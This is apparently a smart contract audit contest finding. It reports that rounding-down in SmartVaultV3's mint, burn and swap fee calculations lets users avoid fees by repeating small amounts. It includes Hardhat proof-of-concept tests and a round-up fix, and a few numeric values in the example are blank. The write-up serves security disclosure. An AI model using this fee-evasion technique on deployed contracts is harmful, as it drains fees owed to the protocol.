The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: low
Valid

User can mint(), burn() & swap() without ever paying any fee

Summary

Rounding-down inside mint(), burn() & swap() allows a user to pass a small _amount multiple times and escape paying any fee ever.

Root cause: Whenever feeRate (like mintFeeRate/burnFeeRate/swapFeeRate) for the above actions is set less than HUNDRED_PC, it's possible to pass an _amount such that the fee evaluates to zero due to rounding-down present in the calculation.

SmartVaultV3.sol#L160-L167

function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
@----> uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}

SmartVaultV3.sol#L169-L175

function burn(uint256 _amount) external ifMinted(_amount) {
@---> uint256 fee = _amount * ISmartVaultManagerV3(manager).burnFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
minted = minted - _amount;
EUROs.burn(msg.sender, _amount);
IERC20(address(EUROs)).safeTransferFrom(msg.sender, ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsBurned(_amount, fee);
}

SmartVaultV3.sol#L214-L231

function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
@----> uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}

Vulnerability Details

Let us examine the current values of mintFeeRate (or burn/swap fee rates) and HUNDRED_PC, as present in unit tests:

  • ISmartVaultManagerV3(manager).mintFeeRate() =

  • HUNDRED_PC = 1e5 =

So if a user passes _amount as , fee would be calculated as (rounding down by solidity). So if a user wants to mint an amount of , he can simply call mint() a total of 100 times with _amount = 150.

Add the following code inside test/smartVault.js and run via npx hardhat test --grep 'no fee paid' test/smartVault.js. The 3 tests will pass.

describe('no fee paid', async () => {
it('allows zero fees while minting', async () => {
// setup - add some collateral first
const value = ethers.utils.parseEther('1');
await user.sendTransaction({to: Vault.address, value});
let { collateral} = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
// free mint now
const mintedAmount = 100;
// let us mint without fee over & over again
for(let i = 0; i < 5; i++) {
let minted = await Vault.connect(user).mint(user.address, mintedAmount);
await expect(minted).to.emit(Vault, 'EUROsMinted').withArgs(user.address, mintedAmount, 0); // @audit : no fee paid by user
}
});
it('allows zero fees while burning', async () => {
// setup - add some collateral first
const value = ethers.utils.parseEther('1');
await user.sendTransaction({to: Vault.address, value});
let { collateral} = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
// mint some euros
await Vault.connect(user).mint(user.address, ethers.utils.parseEther('0.9'));
// burn without fee now
const burnAmount = 100;
// let us burn without fee over & over again
for(let i = 0; i < 5; i++) {
let burned = await Vault.connect(user).burn(burnAmount);
await expect(burned).to.emit(Vault, 'EUROsBurned').withArgs(burnAmount, 0); // @audit : no fee paid by user
}
});
it('allows zero fees while swapping', async () => {
// setup
let Stablecoin = await (await ethers.getContractFactory('ERC20Mock')).deploy('sUSD', 'sUSD', 6);
const clUsdUsdPrice = 100000000;
const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('sUSD / USD');
await ClUsdUsd.setPrice(clUsdUsdPrice);
await TokenManager.addAcceptedToken(Stablecoin.address, ClUsdUsd.address);
// user vault has 1 ETH collateral
await user.sendTransaction({to: Vault.address, value: ethers.utils.parseEther('1')});
// user borrows 1200 EUROs
const borrowValue = ethers.utils.parseEther('1200');
await Vault.connect(user).mint(user.address, borrowValue);
const inToken = ethers.utils.formatBytes32String('ETH');
const outToken = ethers.utils.formatBytes32String('sUSD');
// @audit-info : user is swapping 100 wei
const swapValue = ethers.utils.parseEther('0.0000000000000001');
const swapFee = swapValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
expect(swapFee).to.equal(0, "zero swap fee"); // @audit-info : zero fee
const protocolBalance = await protocol.getBalance();
// swap
await Vault.connect(user).swap(inToken, outToken, swapValue);
const {
amountIn, txValue
} = await SwapRouterMock.receivedSwap();
// @audit : no fee deducted or added in the following variables
expect(amountIn).to.equal(swapValue);
expect(txValue).to.equal(swapValue);
expect(await protocol.getBalance()).to.equal(protocolBalance);
});
});

Impact

  • Loss of fee for the protocol

Tools Used

Hardhat

Recommendations

Rounding-up needs to be done here instead of rounding-down. Either use an external library like solmate which has a function like mulDivUp or incorporate custom logic. The following recommendation shows such a custom logic for mint(), but can be duplicated for burn() and swap() too in the same manner:

function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
+ uint256 addExtra = (fee * ISmartVaultManagerV3(manager).HUNDRED_PC()) == (_amount * ISmartVaultManagerV3(manager).mintFeeRate()) ? 0 : 1;
+ fee = fee + addExtra;
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mint-precision

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.